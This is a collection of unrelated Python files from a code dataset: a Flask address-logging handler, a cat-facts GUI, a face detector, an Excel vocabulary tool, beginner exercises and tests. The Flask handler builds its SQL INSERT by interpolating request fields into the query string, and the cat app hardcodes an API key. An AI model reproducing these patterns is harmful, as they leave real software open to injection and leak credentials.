os.makedirs(FLAGS.savedSessionDir)\n            temp_saver = model['saver']()\n            save_path = temp_saver.save(sess, os.path.join(FLAGS.savedSessionDir, modelName))\n\n        print(\"\\nTraining done. Model saved: \", os.path.join(FLAGS.savedSessionDir, modelName)) \n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        '--trainDir',\n        type=str,\n        default='/home/weimin/workshop/',\n        help=\"\"\"\\\n        Directory that contains all data.\\\n        \"\"\"\n    )\n\n    parser.add_argument(\n        '--savedSessionDir',\n        type=str,\n        default='/home/weimin/workshop/savedSessions/',\n        help=\"\"\"\\\n        Directory where your created model / session will be saved.\\\n        \"\"\"\n    )\n\n    FLAGS, unparsed = parser.parse_known_args()\n    tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)\n\n\n\n\n","repo_name":"aaxwaz/Deep-Learning-Workshop-For-Image-Classification","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6696887609","text":"#!/usr/bin/env python\n\nfrom flask import make_response\nfrom redir import codes, auth, utils\nimport requests, time\nimport mysql.connector\n\ndef process(method:str, db, token: str, actions=None, data=None):    \n    if auth.auth(db, token):\n        if method == \"PUT\":\n            if data:\n                if 'hostname' in data and 'ip' in data:\n                    hn = data[\"hostname\"]\n                    ip = data[\"ip\"]\n                    now = time.localtime()\n                    tdata = time.strftime(\"%Y-%m-%d\", now)\n                    tgodzina = time.strftime(\"%H:%M:%S\", now)\n                    query = f\"INSERT INTO adresy (data, godzina, hostname, ip) VALUES ('{tdata}', '{tgodzina}', '{hn}', '{ip}')\"\n                    try:\n                        db.query(query)\n                        if db.cursor.rowcount > 0:\n                            if \"redir\" in data:\n                                target_host = data[\"redir\"][\"target-host\"]\n                                target_token = data[\"redir\"][\"target-token\"]\n                                headers = {\"Content-type\": \"application/json\",\n                                           \"Authorization\": f\"Bearer {target_token}\"}\n                                d = {\"hostname\": hn,\n                                     \"ip\": ip}\n                                response = requests.put(f\"{target_host}/adres\", headers=headers, json=d)\n                                return make_response(response.text, response.status_code, {\"Content-type\": \"application/json\"})\n                            else:\n                                return utils.make_created()\n                        else:\n                            return utils.make_db_error()\n                    except mysql.connector.errors.Error:\n                        return utils.make_db_error()\n                else:\n                    return utils.make_invalid_data()\n            else:\n                return utils.make_no_data()\n        else:\n            return utils.make_not_allowed()\n    return utils.make_unauthorized()\n","repo_name":"lvajxi03/apihub","sub_path":"redir/pysrc/redir/modules/adres.py","file_name":"adres.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41799265086","text":"# 9.1.1 创建Dog类\n# 定义了一个名为Dog的类，首字母大写的名称指的是类\nclass Dog():\n    # 对类的功能作了描述\n    \"\"\"一次模拟小狗的简单尝试\"\"\"\n    def __init__(self, name, age):\n        \"\"\"初始化属性name和age\"\"\"\n        # 以self为前缀的变量都可供类中的所有方法使用\n        self.name = name\n        self.age = age\n\n    def sit(self):\n        \"\"\"模拟小狗被命令时下蹲\"\"\"\n        print(self.name.title() + \" is now sitting.\")\n\n    def roll_over(self):\n        \"\"\"模拟小狗被命令时打滚\"\"\"\n        print(self.name.title() + \" rolled over!\")\n\n\n# 9.1.2 根据类创建实例\n# my_dog = Dog('willie', 6)\n# print(\"My dog's name is \"+my_dog.name.title()+\".\")\n# print(\"My dog is \"+str(my_dog.age)+\" years old.\")\n# 1.访问属性\n# print(my_dog.name, my_dog.age)\n\n# 2.调用方法\n# my_dog.sit()\n# my_dog.roll_over()\n\n# 3.创建多个实例\nmy_dog = Dog('willie', 6)\nyour_dog = Dog('lucy', 3)\nprint(\"My dog's name is \"+my_dog.name.title()+\".\")\nprint(\"My dog is \"+str(my_dog.age)+\" years old.\")\nmy_dog.sit()\nprint(\"\\nYour dog's name is \"+your_dog.name.title()+\".\")\nprint(\"Your dog is \"+str(your_dog.age)+\" years old.\")\nyour_dog.sit()\n","repo_name":"Jeffery12138/Python-","sub_path":"第9章 类/9.1 创建和使用类/dog.py","file_name":"dog.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39573481186","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\n\n'''\n长途旅行中，遇到一个加油站，编写一个程序确定是否要在这里加油\n问题：\n你的油箱有多大？\n油箱有多满？（百分比）\n汽车每升走多远？\n包含一个5升缓冲区，以防油表不准\n'''\nvolumeOfTank = int(raw_input(\"Size of tank:\"))\npercentOfTank = float(raw_input(\"percent full:\")) * 0.01\nliterPerKm = float(raw_input(\"km per liter:\"))\nbuffer = 5\ndistanceToNextStation = float(raw_input(\"How long is it to next station?\"))\nyouCanGo = ((volumeOfTank * percentOfTank) - buffer) * literPerKm\nprint(\"You can go another \" + str(youCanGo) + \" km\\n\" + \"The next gas station is \" + str(\n    distanceToNextStation) + \" km away\")\nif youCanGo > distanceToNextStation:\n    print(\"You can wait for the next station.\")\nelse:\n    print(\"Get gas now!\")\n","repo_name":"wula50/tryForGit","sub_path":"TestYourTank.py","file_name":"TestYourTank.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69981689380","text":"# Face detection by Dlib\n\n## Dlib installation steps\n# 1. brew install boost\n# 2. brew install boost-python\n# 3. Install XQuartz-2.7.9\n#    sudo ln -s /opt/X11/include/X11 /usr/local/include\n# 4. Download dlib\n#    cd dlib-18.18/\n#    sudo python setup.py install\n#\n# Running samle\n# a. pip install scikit-image\n# b. Download https://sourceforge.net/projects/dclib/files/dlib/v18.10/shape_predictor_68_face_landmarks.dat.bz2\n# c. python ./face_landmark_detection.py shape_predictor_68_face_landmarks.dat ../examples/faces\n\n## reference\n# - http://dlib.net/face_detector.py.html\n\nimport dlib\nimport cv2\n\npredictor_path = \"./dlib_data/shape_predictor_68_face_landmarks.dat\"\n\nclass FaceDetector():\n    def __init__(self):\n        self.detector = dlib.get_frontal_face_detector()\n        self.predictor = dlib.shape_predictor(predictor_path)\n\n    def detectFace(self, gray):\n        dets = self.detector(gray, 1)\n        if len(dets) == 0:\n            return []\n        # drop k (detected face index)\n        return [(d.left(), d.top(), d.right(), d.bottom()) for k, d in enumerate(dets)]\n    def detectParts(self, gray, x, y, x2, y2):\n        eyes = self.predictor(gray, dlib.rectangle(x, y, x2, y2))\n        return eyes\n    def drawFacialParts(self, disp, parts):\n        if parts.num_parts != 68:\n            return\n        p = parts.part\n        idxs = [range(1, 16+1), range(28, 30+1), range(18, 21+1), range(23, 26+1),\n                range(31, 35+1), range(37, 41+1), range(43, 47+1), range(49, 59+1),\n                range(61-1, 67+1)]\n        [cv2.line(disp, (p(i).x, p(i).y), (p(i-1).x,p(i-1).y), (100, 100, 255), 1)\n         for r in idxs for i in r]\n    def detectAndDraw(self, disp, frame):\n        '''Detect face and eyes from the frame, and draw results on the disp.'''\n        #gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n        gray = frame\n        faces = self.detectFace(gray)\n        for (x, y, x2, y2) in faces:\n            parts = self.detectParts(gray, x, y, x2, y2)\n            #ps = [(parts.part(i).x, parts.part(i).y, parts.part(i+1).x, parts.part(i+1).y) \\\n            #      for i in range(0, parts.num_parts, 2)]\n            #[cv2.line(disp, (p[0],p[1]), (p[2],p[3]), (100, 100, 255), 2) for p in ps]\n            self.drawFacialParts(disp, parts)\n            cv2.rectangle(disp, (x, y), (x2, y2), (0, 0, 255), 2)\n            \n","repo_name":"daisukelab/cv_catch_deskworker","sub_path":"DetectFaceDlib.py","file_name":"DetectFaceDlib.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41531284593","text":"# This fine italian meal was created by Josh Gordon AKA Seraph\n\n\nimport requests\nimport PySimpleGUIQt as catGui\nimport webbrowser\nimport os\nimport pathlib\nimport random\nimport pyautogui as screenMeasure\n\n# Establish Technical Variables\n\n# Get Screen Resolution\nwidth, height = screenMeasure.size()\n# print(width, height)\nwidth = width / 1.3\nheight = height / 1.6\n\n\n# Brain of the app\n\n\ndef parseServerResponse(x):  # Puts actual line breaks instead of one long one\n    currentLetterNumber = 0\n    firstRun = True\n    newResponse = \"\"\n    while True:\n        try:\n            newResponse += x[currentLetterNumber]  # Go through character by character until the line runs out\n            currentLetterNumber += 1\n            if currentLetterNumber % 100 == 0:\n                while x[currentLetterNumber] != \" \":\n                    newResponse += x[currentLetterNumber]\n                    currentLetterNumber += 1\n                newResponse += \"\\n\"\n                currentLetterNumber += 1\n        except IndexError:\n            if x[currentLetterNumber - 1] != \".\":  # Adds period if one is missing, which sometimes they are\n                newResponse += \".\"\n                #print(\"Added Period\")\n            #print(newResponse)\n            return newResponse\n\n\n# Gets the fact about the cat\ndef getCatFact():\n    response = requests.get(\"https://catfact.ninja/fact\")\n    #print(response)\n\n    # Sets the response variable to what I actually wanted to get: Spent 15 minutes looking for why it was printing the wrong crap\n    response = (response.json()['fact'])\n    response = parseServerResponse(response)\n    return response\n\n\n# Gets random cat png\ndef getCatImage():\n    # Getting url\n    initialResponse = requests.get(\"https://api.thecatapi.com/v1/images/search?mime_types=png\",\n                                   headers={\"x-api-key\": \"27881ddf-32d9-47e1-b162-d15a3684240d\"})\n\n    # print(initialResponse.json())\n\n    pictureUrl = (initialResponse.json()[0]['url'])\n    # open picture in default browser from url\n\n    webbrowser.open(pictureUrl)\n\n\n# Opens a cat gif in the browser\ndef getCatGIF():\n    # Getting url\n    initialResponse = requests.get(\"https://api.thecatapi.com/v1/images/search?mime_types=gif\",\n                                   headers={\"x-api-key\": \"27881ddf-32d9-47e1-b162-d15a3684240d\"})\n\n    # print(initialResponse.json())\n\n    pictureUrl = (initialResponse.json()[0]['url'])\n    # open picture in default browser from url\n\n    webbrowser.open(pictureUrl)\n\n\n# Chooses random photo from generated photoList\n# No longer needed it but keeping it cause ya never know\n\"\"\"\ndef chooseRandomPhoto():\n    choice = random.choice(os.listdir(\"Photos\"))\n    print(choice)\n    return choice   \n\"\"\"\n\n# -----------------------------------------------------------------------------------------------------------------\n\n\n# Gui Garbage\n\n# Theme\n\n# Custom Theme\nMainTheme = {'BACKGROUND': '#F99FC9',\n             'TEXT': 'black',\n             'INPUT': '#DDE0DE',\n             'SCROLL': '#E3E3E3',\n             'TEXT_INPUT': 'black',\n             'BUTTON': ('black', '#85c7e3'),\n             'PROGRESS': 'blue',\n             'BORDER': 1,\n             'SLIDER_DEPTH': 0,\n             'PROGRESS_DEPTH': 0}\n\ncatGui.LOOK_AND_FEEL_TABLE['MainTheme'] = MainTheme\ncatGui.theme('MainTheme')\n\n# Elements\n\n# Text Areas\n# print(width)\nfactTextbox_element = [\n    catGui.Text(size_px=(width, height / 6), key=\"factTextBox\", font=(\"Helvetica, 15\"), justification='c')]\n# Buttons\ncatFactButton_element = [catGui.Button(\"Cat Fact\", size=(20, 2))]\ncuteCatPicButton_element = [catGui.Button(\"Cute Cat Pic\", size=(20, 2))]\ncuteCatGifButton_element = [catGui.Button(\"Cute Cat GIF\", size=(20, 2))]\ncreepyPastaButton_element = [catGui.Button(\"Random CreepyPasta\", size=(20, 2))]\n\n# Image element\n# img_element = [catGui.Button(\"Best of YJ\"), catGui.Image(data=None, key=\"YJFrame\")]\n\nimageButton_element = [catGui.Button(\"Best of Birb\", size=(20, 2))]\nimageFrame_element = [catGui.Image(key=\"BirbFrame\")]\n\n# Column Setup\n\nbuttonCol = [catFactButton_element,\n             cuteCatPicButton_element,\n             cuteCatGifButton_element,\n             imageButton_element,\n             creepyPastaButton_element]\n\nimgCol = [imageFrame_element]\n\n# Layout of app - Frames and stuff\nlayout = [[catGui.Frame(title='Cat Facts', layout=[factTextbox_element], visible=True, element_justification='c',\n                        relief='RELIEF_FLAT')],\n          [catGui.Column(buttonCol), catGui.Column(imgCol)]]\n\n# Actually making the window now\n\nwindow = catGui.Window(\"Party Central\", layout, size=(width, height))\n\n# Initializations\n# Theme\n#print(catGui.theme_list())\n# Makes a Array of all the photo names and randomizes it\n\n# Current Directory\ncurrentDir = str(pathlib.Path(__file__).resolve().parent)\n#print(currentDir)\nphotoList = os.listdir(currentDir + \"/Photos\")\nrandom.shuffle(photoList)\nphotoCounter = 0  # Keeps track of where the user is in the photo array\n\n# event loop to keep the window open and allow the user to close it\n\nwhile True:\n    # PysimpeGui runs off events\n    event, values = window.read()\n    if event == (\"Cat Fact\"):  # If user presses the fact button\n        newFact = getCatFact()\n        window[\"factTextBox\"].Update(newFact)  # Updates Text\n\n    if event == (\"Cute Cat Pic\"):  # Opens cat pic in browser\n        getCatImage()\n\n    if event == (\"Cute Cat GIF\"):  # Opens cat gif in browser\n        getCatGIF()\n\n    if event == (\"Best of Birb\"):\n        #print(photoList, photoCounter)  # Test Prints\n        try:\n            pic = photoList[photoCounter]\n            window[\"BirbFrame\"].update(currentDir + \"/Photos/\" + pic)\n            photoCounter += 1  # moves the counter to the next picture\n        except IndexError:  # Catches the array when it ends and reshuffles and resets the counter\n            random.shuffle(photoList)\n            photoCounter = 0\n            pic = photoList[photoCounter]\n            window[\"BirbFrame\"].update(currentDir + \"/Photos/\" + pic)\n            photoCounter += 1  # moves the counter to the next picture\n\n    if event == (\"Random CreepyPasta\"):  # Opens cat gif in browser\n        webbrowser.open(\"https://www.creepypasta.com/random\")\n\n    if event == catGui.WIN_CLOSED:  # Stops program if user exits out\n        break\n\nwindow.close()\n","repo_name":"Seraph18/Cats","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10194947467","text":"import sqlite3 as lite\n\n\nclass math:\n\t\"\"\"\n\tThe math for team adv\n\t\"\"\"\n\tdef __init__(self):\n\t\tself.x = 0 \n\tdef teamAdv(self):\n\n\t\tself.advNum = 0\n\t\tself.totalNum = 0\n\t\tself.conn = lite.connect('runner.db')\n\t\tself.c = self.conn.cursor()\n\t\tself.c.execute(\"select * from Stats\")\n\t\tself.data = self.c.fetchall()\n\t\tself.race = 0\n\t\tfor self.items in self.data:\n\t\t\n\t\t\tfor self.time in self.data:\n\t\t\t\tself.strTime = str(self.time[self.race])\n\t\t\t\tm, s = self.strTime.split(':')\n\t\t\t\tself.total = int(m)*60\n\t\t\t\tself.total = self.total+int(s)\n\t\t\t\tself.advNum = int(self.advNum) + int(self.total)\n\t\t\t\tself.totalNum = int(self.totalNum) + 1\n\t\t\tprint(self.advNum)\n\t\t\tprint(self.totalNum)\n\t\t\tself.raceAdv = int(self.advNum) / int(self.totalNum)\n\t\t\tprint(self.raceAdv)\n\t\t\tself.mins = str(int(self.raceAdv) / 60)\n\t\t\tself.mins, self.undeeded = self.mins.split('.')\n\t\t\tself.mins = str(self.mins)\n\t\t\tself.seconds = int(int(self.mins) * 60)\n\t\t\tself.seconds = int(self.raceAdv - self.seconds)\n\t\t\tself.seconds = str(self.seconds)\n\t\t\tprint('Race '+str(self.race+1)+': '+self.mins+':'+self.seconds)\n\t\t\tself.time = str(self.mins)+':'+str(self.seconds)\n\t\t\tdataList.insert(self.race, self.time)\n\t\t\tself.race = self.race + 1\n\t\treturn dataList\t\n\t\t\t\t\nmathC = math()\nmathC.teamAdv()\n","repo_name":"JCTLearning/Project-Runner","sub_path":"old/Basics/data/dataMath.py","file_name":"dataMath.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12320518222","text":"import os,time\nfrom scripts import SystemThing\nimport xlwt\nimport xlrd\nimport lxml.html as HTML\nfrom xlutils.copy import copy\n\ndef check_contain_num(check_str):\n    flag = False\n    for ch in check_str.decode('utf-8'):\n        if u'9' >= ch and ch >= u'0':\n            flag =  True\n    return flag\n\nclass ExcelDearler:\n\tdef __init__(self, config, txt_dealer, net_work, path):\n\t\tself.conf = config\n\t\tself.txt_dealer = txt_dealer\n\t\tself.net_work = net_work\n\n\t\tself.file_name = ''\n\t\tself.full_path = ''\n\t\tself.init_config(path)\n\n\t\tself.title_style = xlwt.easyxf('pattern: pattern solid, fore_colour ocean_blue; font: bold on;')\n\t\tself.content_styleA = self.set_title_style(5)\n\t\tself.content_styleB = self.set_title_style(4)\n\t\tprint(u'\\t表格样式设置完毕！')\n\t\tself.write_word_frequency()\n\t\tprint(u'\\t原始表格数据写入完毕！')\n\t\tself.select()\n\t\tprint(u'根据熟词库将单词筛选完毕！')\n\n\t# self.write_all()\n\t# self.write_word_meaning()\n\n\tdef select(self):\n\t\t# mark 新加入的根据历史记录过滤熟词\n\t\troot_path = \"output/\"\n\t\tfile_lst = os.listdir(root_path)\n\t\tfor file in file_lst:\n\t\t\tfull_path = root_path + file\n\t\t\ttemp = xlrd.open_workbook(self.full_path)\n\t\t\tst = temp.sheet_by_index(0)\n\t\t\tword_work = xlrd.open_workbook(full_path)\n\t\t\tdst_work = copy(temp)\n\t\t\tword_sheet = word_work.sheet_by_index(0)\n\t\t\tdst_sheet = dst_work.get_sheet(0)\n\t\t\ti = word_sheet.nrows\n\t\t\tfor row1 in range(0, word_sheet.nrows):\n\t\t\t\tword = word_sheet.cell(row1, 1).value  # .encode('utf-8')\n\t\t\t\tif word == '':\n\t\t\t\t\tcontinue\n\t\t\t\tfor row2 in range(0, st.nrows):\n\t\t\t\t\tdst = st.cell(row2, 1).value  # .encode('utf-8')\n\t\t\t\t\tif word == '':\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif word == dst:\n\t\t\t\t\t\tempty = r''\n\t\t\t\t\t\tdst_sheet.write(row2, 1, empty)\n\t\t\t\t\t\t# dst_sheet.write(row2, 2, empty)\n\t\t\t\t\t\tbreak\n\t\t\tself.save(dst_work)\n\n\tdef insert_youdao_mean_from_loacl(self, word):\n\t\tpath = './https/youdao/{}.html'.format(word)\n\t\tif not os.path.exists(path):\n\t\t\tself.net_work.youdao_down_load(word)\n\t\t# 页面源码\n\t\tpage_source = open(path).read()\n\t\thtml = HTML.fromstring(page_source)\n\t\t# 美式音标\n\t\ttemp_soundmark = html.xpath(self.conf.get_conf(r'youdao', r'path_soundmark'))\n\t\tif len(temp_soundmark) == 0:\n\t\t\tsoundmark = r'NULL'\n\t\telse:\n\t\t\tsoundmark = temp_soundmark[0].xpath(r'string()')\n\t\t# 翻译\n\t\ttemp_translate = html.xpath(self.conf.get_conf(r'youdao', r'path_translate'))\n\t\tif len(temp_translate) == 0:\n\t\t\ttranslate = r'NULL'\n\t\telse:\n\t\t\ttranslate = temp_translate[0].xpath(r'string(.)')\n\n\t\tdata_list = [soundmark, translate]\n\t\treturn data_list\n\n\tdef insert_mean_from_local(self, word):\n\t\tpath = './https/{}.html'.format(word)\n\t\tif not os.path.exists(path):\n\t\t\tself.net_work.https_down_load(word)\n\t\t# 页面源码\n\t\tpage_source = open(path).read()\n\t\thtml = HTML.fromstring(page_source)\n\t\t# 美式发音\n\t\t# pronounce = html.xpath()\n\t\t# 美式音标\n\t\ttemp_soundmark = html.xpath(self.conf.get_conf(r'web', r'path_soundmark'))\n\t\tif len(temp_soundmark) == 0:\n\t\t\tsoundmark = r'NULL'\n\t\telse:\n\t\t\tsoundmark = temp_soundmark[0].xpath(r'string()')\n\t\t# 翻译\n\t\ttemp_translate = html.xpath(self.conf.get_conf(r'web', r'path_translate'))\n\t\tif len(temp_translate) == 0:\n\t\t\ttranslate = r'NULL'\n\t\telse:\n\t\t\ttranslate = temp_translate[0].xpath(r'string(.)')\n\t\t# 词根\n\t\ttemp_root = html.xpath(self.conf.get_conf(r'web', r'path_root'))\n\t\tif len(temp_root) == 0:\n\t\t\troot = r'NULL'\n\t\telse:\n\t\t\troot = temp_root[0].xpath(r'string(.)')\n\t\t# 词源\n\t\ttemp_etymology = html.xpath(self.conf.get_conf(r'web', r'path_etymology'))\n\t\tif len(temp_etymology) == 0:\n\t\t\tetymology = r'NULL'\n\t\telse:\n\t\t\tetymology = temp_etymology[0].xpath(r'string(.)')\n\n\t\tdata_list = [soundmark, translate, root, etymology]\n\t\t# web_driver.quit()\n\t\treturn data_list\n\n\tdef insert_audio(self):  # 重复处理后会丢失超链接和背景色\n\t\tworkbookr = xlrd.open_workbook(self.file_name, formatting_info=True)\n\t\tsheetr = workbookr.sheet_by_index(0)  # sheet索引从0开始\n\t\tworkbook = self.open_excel()\n\t\tsheet = workbook.get_sheet(0)\n\t\t# 区分超链接背景色,重复写入超链接会造成空\n\t\tpattern = xlwt.Pattern()\n\t\tpattern.pattern = xlwt.Pattern.SOLID_PATTERN\n\t\tcolor = int(self.conf.get_conf('audio', 'color'))\n\t\tpattern.pattern_fore_colour = color\n\t\tstyle = xlwt.XFStyle()\n\t\tstyle.pattern = pattern\n\n\t\tcounter = 0\n\t\tfor row in range(2, sheetr.nrows):\n\t\t\t# 二次传输时自动识别弥补，不覆盖已有\n\t\t\tword = sheetr.cell(row, 1).value.encode('utf-8')\n\t\t\t# 若含有超链接则跳过(此处用颜色区别)\n\t\t\txfx = sheetr.cell_xf_index(row, 1)\n\t\t\txf = workbookr.xf_list[xfx]\n\t\t\tbgx = xf.background.pattern_colour_index\n\t\t\tif bgx == color:\n\t\t\t\trow += 1\n\t\t\t\tcontinue\n\t\t\tprepath = self.conf.get_conf(r'audio', 'path')\n\t\t\tpath = prepath + word + '.mpeg'\n\t\t\tif os.path.exists(path):\n\t\t\t\thyper = u'HYPERLINK(\"{}\";\"{}\")'.format(path, word)\n\t\t\t\tsheet.write(row, 1, xlwt.Formula(hyper), style)\n\t\t\t\tcounter += 1\n\t\t\trow += 1\n\t\tself.save(workbook)\n\t\tprint(u'插入{}条音频，共{}条数据'.format(counter, sheetr.nrows))\n\n\tdef init_config(self, path):\n\t\tself.file_name = path + r'.xls'\n\t\tself.full_path = self.file_name\n\n\tdef save(self, workbook):\n\t\ttry:\n\t\t\t# mark\n\t\t\troot_path = 'output/'\n\t\t\tworkbook.save(root_path + self.full_path)\n\t\texcept:\n\t\t\tprint('please close the excle')\n\t\t\ttime.sleep(4)\n\t\t\tself.save(workbook)\n\n\tdef write_word_meaning(self):\n\t\tworkbookr = xlrd.open_workbook(self.file_name)\n\t\tsheetr = workbookr.sheet_by_index(0)  # sheet索引从0开始\n\n\t\tprint(u'开始写入网页数据....（该处理时间较长，停一会儿就可以看效果,随时可以关闭程序）')\n\t\tworkbook = self.open_excel()\n\t\tsheet = workbook.get_sheet(0)\n\t\tfor row in range(2, sheetr.nrows):\n\t\t\tvalue = sheetr.cell(row, 4).value\n\t\t\t# 二次传输时自动识别弥补，不覆盖已有\n\t\t\t# 单元格内容不为空\n\t\t\tif value != '':\n\t\t\t\t# row += 10\n\t\t\t\tcontinue\n\t\t\tword = sheetr.cell(row, 1).value.encode('utf-8')\n\t\t\tif word == '':\n\t\t\t\tcontinue\n\t\t\t# time.sleep(3)\n\t\t\t# data_list = self.net_work.get_data_by_selenium(word)\n\t\t\t# data_list = self.net_work.get_data_by_https(word)\n\t\t\tdata_list = self.insert_youdao_mean_from_loacl(word)\n\t\t\t# data_list = self.insert_mean_from_local(word)\n\t\t\tsentence = self.txt_dealer.search_sentence_by_word(word)\n\t\t\tfor cnt in range(0, 2):\n\t\t\t\tinfo = data_list[cnt]\n\t\t\t\tsheet.write(row, cnt + 3, info)\n\t\t\tsheet.write(row, 7, sentence)\n\t\tself.save(workbook)\n\t\t# row+=1\n\t\t# if row % 10==0:\n\t\t# self.save(workbook)\n\t\t# print u'已处理{}条数据'.format(row-1)\n\t\tprint('All the meanning be written\\n')\n\n\tdef set_title_style(self, bg_clolor=False):\n\t\t# 初始化样式\n\t\tstyle = xlwt.XFStyle()\n\t\t# 创建字体\n\t\ttemp_font_color_index = self.conf.get_conf(r'excel', 'style_font_color_index')\n\t\ttemp_font_name = self.conf.get_conf(r'excel', 'style_font_name')\n\t\ttemp_font_bold = self.conf.get_conf(r'excel', 'style_font_bold')\n\t\ttemp_font_height = self.conf.get_conf(r'excel', 'style_font_height')\n\t\tfont = xlwt.Font()\n\t\tfont.name = temp_font_name\n\t\tfont.bold = temp_font_bold\n\t\tfont.color_index = temp_font_color_index\n\t\tfont.height = temp_font_height\n\t\t# 创建下框线\n\t\ttemp_border_left = self.conf.get_conf(r'excel', 'style_border_left')\n\t\ttemp_border_right = self.conf.get_conf(r'excel', 'style_border_right')\n\t\ttemp_border_top = self.conf.get_conf(r'excel', 'style_border_top')\n\t\ttemp_border_bottom = self.conf.get_conf(r'excel', 'style_border_bottom')\n\t\tborders = xlwt.Borders()\n\t\tborders.left = temp_border_left\n\t\tborders.right = temp_border_right\n\t\tborders.top = temp_border_top\n\t\tborders.bottom = temp_border_bottom\n\n\t\t# 创建背景颜色\n\t\tif bg_clolor != False:\n\t\t\ttemp_bg_color_index = bg_clolor\n\t\telse:\n\t\t\ttemp_bg_color_index = self.conf.get_conf(r'excel', 'style_bg_color_index')\n\t\t# temp_bg_pattern = self.conf.get_conf(r'excel', 'style_bg_pattern')\n\t\tpattern = xlwt.Pattern()\n\t\tpattern.pattern = pattern.SOLID_PATTERN\n\t\tpattern.pattern_fore_colour = temp_bg_color_index\n\n\t\tstyle.pattern = pattern\n\t\tstyle.font = font\n\t\tstyle.borders = borders\n\t\treturn style\n\n\tdef create_excel(self, sheet_name):\n\t\tworkbook = xlwt.Workbook()  # 创建工作簿\n\t\tworkbook.add_sheet(u'所有', cell_overwrite_ok=True)  # 创建sheet\n\t\tworkbook.save(self.full_path)  # 保存文件\n\t\tprint(u'\\t\\tExcel创建完毕!')\n\n\tdef open_excel(self):\n\t\tworkbook = xlrd.open_workbook(self.full_path)\n\t\treturn copy(workbook)\n\n\t# 写入原始数据，如表格形式等\n\tdef write_original_data(self):\n\t\tworkbook = self.open_excel()\n\t\tsheet = workbook.get_sheet(0)\n\t\trow0 = [u'单词', u'出现频率', u'音标', u'中文翻译', u'书中例句']\n\t\t# 生成第一行\n\t\tfor i in range(1, len(row0) + 1):\n\t\t\tsheet.write(1, i, row0[i - 1], self.title_style)\n\t\tworkbook.save(self.full_path)\n\n\t# 写excel\n\tdef write_word_frequency(self):\n\t\tsyst = SystemThing.SystemThing()\n\t\tif syst.file_is_exist(self.full_path):\n\t\t\tprint('{} is already exists'.format(self.full_path))\n\t\t\tpass\n\t\telse:\n\t\t\tself.create_excel('sheet1')\n\t\t\tself.write_original_data()\n\t\t\tworkbook = self.open_excel()\n\t\t\tsheet = workbook.get_sheet(0)\n\t\t\t# 填写数据word_frequency\n\t\t\trow = 2\n\t\t\tword_frequency = self.txt_dealer.get_map_word_frequency()\n\t\t\tfor (key, value) in word_frequency.items():\n\t\t\t\tif str.isdigit(key.encode('gbk')) or len(key) < 2 or check_contain_num(key):\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tsheet.write(row, 1, key)\n\t\t\t\t\tsheet.write(row, 2, value)\n\t\t\t\t\trow += 1\n\t\t\tworkbook.save(self.full_path)  # 该操作耗时太长\n# print ('write_word_frequency\\n')\n","repo_name":"FIREFighterMan/EasyEngBook","sub_path":"scripts/ExcelDealer.py","file_name":"ExcelDealer.py","file_ext":"py","file_size_in_byte":9413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3250876560","text":"'''\nCreated on 12.04.2018\n\n@author: hm\n'''\nfrom unittest.UnitTestCase import UnitTestCase\n\nimport shutil\nimport os\n\nimport app.BaseApp\nimport app.SatelliteApp\nimport base.StringUtils\n\nDEBUG = False\n\n\nclass SatelliteAppTest(UnitTestCase):\n    def __init__(self):\n        UnitTestCase.__init__(self)\n        app.BaseApp.BaseApp.setUnderTest(True)\n        self._finish()\n        self._createConfig()\n\n    def debugFlag(self):\n        base.StringUtils.avoidWarning(self)\n        return DEBUG\n\n    def _createConfig(self):\n        self._configFile = self.tempFile(\n            'satellite.conf', 'unittest', 'satboxx')\n        base.StringUtils.toFile(self._configFile, '''# created by SatelliteApp\nwdfiller.active=true\nwdfiller.url=https://wiki.hamatoma.de\n# separator ' ': possible modes cloud filesystem stress\nwdfiller.kinds=cloud\n# interval between 2 send actions in seconds\nwdfiller.cloud.interval=2\nwdfiller.cloud.directory=/opt/clouds\nwdfiller.cloud.excluded=cloud.test|cloud.huber.de\nwdfiller.filesystem.interval=2\nwdfiller.filesystem.devices=sda6|\nwdfiller.stress.interval=2\nhostname=testhost\n''')\n        self._configDir = os.path.dirname(self._configFile)\n\n    def _finish(self):\n        shutil.rmtree(self.tempDir('unittest'))\n\n    def testInstall(self):\n        if DEBUG:\n            return\n        app.SatelliteApp.main(['-v3', f'--dir-unittest={self._configDir}', f'-c{self._configDir}',\n                               'install', 'satboxx'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(0, application._logger._errors)\n        self.assertFileContent('''[Unit]\nDescription=satboxx: sends data via REST to servers.\nAfter=syslog.target\n[Service]\nType=simple\nUser=satboxx\nGroup=satboxx\nWorkingDirectory=/etc/snakeboxx\n#EnvironmentFile=-/etc/snakeboxx/satboxx.env\nExecStart=/usr/local/bin/satboxx daemon satboxx satboxx\nExecReload=/usr/local/bin/satboxx reload satboxx satboxx\nSyslogIdentifier=satboxx\nStandardOutput=syslog\nStandardError=syslog\nRestart=always\nRestartSec=3\n[Install]\nWantedBy=multi-user.target\n''', os.path.join(self._configDir, 'system/satboxx.service'))\n        fn = os.path.join(self._configDir, 'satellite.conf')\n    